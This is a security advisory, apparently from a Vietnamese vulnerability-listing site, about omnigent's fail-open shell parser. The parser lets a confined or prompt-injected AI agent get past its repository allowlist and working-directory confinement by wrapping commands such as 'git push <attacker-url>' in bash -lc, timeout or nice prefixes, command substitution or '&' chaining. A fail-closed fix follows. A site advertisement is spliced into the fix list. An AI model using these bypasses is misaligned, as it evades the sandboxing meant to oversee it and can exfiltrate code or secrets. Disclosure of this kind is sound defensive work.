| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| omnigent | < 0.3.0 | 0.3.0 |
Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing"
Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)
The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.
A misaligned or prompt-injected agent that is meant to be confined can:
git push to an attacker-controlled repo (code / secret exfiltration),git worktree add / git -C <other-dir>.bash -lc "git push <attacker-url>"timeout / nice / setsid / stdbuf … git push …x=$(git push <attacker-url>)true & git push <attacker-url>Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.
Make the gated surface fail closed:
None → ALLOW. Abstain on a security gate should resolve to deny, not allow.Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phítimeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.